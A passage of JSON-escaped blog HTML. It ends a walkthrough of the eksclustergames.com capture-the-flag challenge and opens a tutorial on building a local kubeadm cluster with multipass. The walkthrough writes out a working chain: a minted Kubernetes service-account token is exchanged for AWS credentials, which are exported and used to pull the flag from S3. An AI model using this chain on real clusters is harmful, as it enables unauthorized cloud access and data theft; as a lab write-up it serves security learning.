\u003ccode\u003ests.amazonaws.com\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eTOKEN=$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e create token debug-sa \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--audience\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e sts.amazonaws.com)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eassume-role-with-web-identity\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--role-arn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earn:aws:iam::688655246681:role/challengeEksS3Role\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--role-session-name\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etest\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--web-identity-token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e $TOKEN\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Credentials\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"AccessKeyId\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"ASIA2AVYNEV\u0026#x3C;*REDACTED*\u003e\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"SecretAccessKey\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"VTZ4TuDrtHGca\u0026#x3C;*REDACTED*\u003e\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"SessionToken\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"IQoJb3JpZ2luX2VjEAQaCXVzLXd+7ONV2wIgESXuf\u0026#x3C;*REDACTED*\u003e\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Expiration\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-03T05:09:07+00:00\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"SubjectFromWebIdentityToken\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"system:serviceaccount:challenge5:debug-sa\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"AssumedRoleUser\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"AssumedRoleId\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"AROA2AVYNEVMZEZ2AFVYI:test\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Arn\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/test\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Provider\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Audience\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"sts.amazonaws.com\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSuccess!  We have some new AWS credentials.  Lets setup our new AWS Session:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAWS_ACCESS_KEY_ID=\"ASIA2AVYNEV\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAWS_SECRET_ACCESS_KEY=\"VTZ4TuDrtHGca\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAWS_SESSION_TOKEN=\"IQoJb3JpZ2luX2VjEAQaCXVzLXd+7ONV2wIgESXuf\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget-caller-identity\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"UserId\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"AROA2AVYNEVMZEZ2AFVYI:test\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Account\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"688655246681\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Arn\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/test\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe are now the new role!   We hopefully have access to S3 now.  At the start\nof the challenge it provided us a clue to what bucket we want to view by\nproviding us the IAM policy:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"json\" data-theme=\"default\"\u003e\u003ccode data-language=\"json\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"Policy\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"Statement\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"Action\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"s3:GetObject\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"s3:ListBucket\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"Effect\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Allow\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"Resource\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:s3:::challenge-flag-bucket-3ff1ae2\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"Version\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2012-10-17\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo we want to fetch \u003ccode\u003earn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es3://challenge-flag-bucket-3ff1ae2/flag\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003edownload:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es3://challenge-flag-bucket-3ff1ae2/flag\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eto\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e./flag\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eflag\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ewiz_eks_challenge\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{w0w_y0u_really_are_4n_eks_and_aws\u0026#x3C;*REDACTED*\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eand thats the final flag! In my next post I'll discuss the remediation steps\nto prevent this configuration mistakes on your cluster!\u003c/p\u003e","category":"Kubernetes","date":"2023-11-01T19:00:00-05:00","tags":["Kubernetes","SRE","Security"],"title":"eksclustergames.com walk through!"},{"id":["2022","local_kubeadm_cluster"],"path":"2022/local_kubeadm_cluster","contentHtml":"\u003cp\u003eI’m going to show you how to get a real kubernetes cluster setup locally on top of virtual\nmachines!  I’ll be using multipass but feel free to use virtualbox, proxmox, or whatever your\nfavorite cloud provider is.\u003c/p\u003e\n\u003cp\u003ekubeadm a production ready kubernetes install tool and I prefer to use it over minikube, kind,\netc. because it gives you a more real world experience for \u003cem\u003emanaging\u003c/em\u003e the kubernetes cluster.\nThis isn’t important if you are a user of the cluster but if you have to run your own this is\na great way to gain some daily experience.\u003c/p\u003e\n\u003cp\u003eThe kubernetes documentation on kubeadm is great and you can find it \u003ca href=\"https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/create-cluster-kubeadm/\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThe differences between this blog and the kubernetes docs is that they leave a lot of decisions\nup to the reader such as:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003echoosing a container runtime\u003c/li\u003e\n\u003cli\u003eSelecting and installing a CNI (container network interface)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI’m going to be opinionated and make specific technology decisions such as using containerd and\ncilium so that you don't have to think about those decisions.\u003c/p\u003e\n\u003ch2\u003eGetting your Virtual Machines setup!\u003c/h2\u003e\n\u003cp\u003eThe minimum requirements for a control plane node in kubernetes is 2gb of RAM and 2 CPUs.  Since\nwe actually want to be able to schedule workloads on the workers afterwards we are going to setup\na cluster that looks like this:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eControl Plane: 2gb RAM, 2 CPU\u003c/li\u003e\n\u003cli\u003eWorker: 4gb RAM, 2 CPU\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSince we’ll be using multipass to launch the nodes, we can do that now:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elaunch\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-c\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-m\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eG\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-d\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eG\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-n\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elaunch\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-c\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-m\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eG\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-d\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eG\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-n\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eworker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elist\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eName\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eState\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e             \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIPv4\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e             \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eImage\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e192.168\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.64.7\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eUbuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e22.04\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eLTS\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eworker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e192.168\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.64.8\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eUbuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e22.04\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eLTS\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow we can start working on our controlplane first, lets shell in:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e 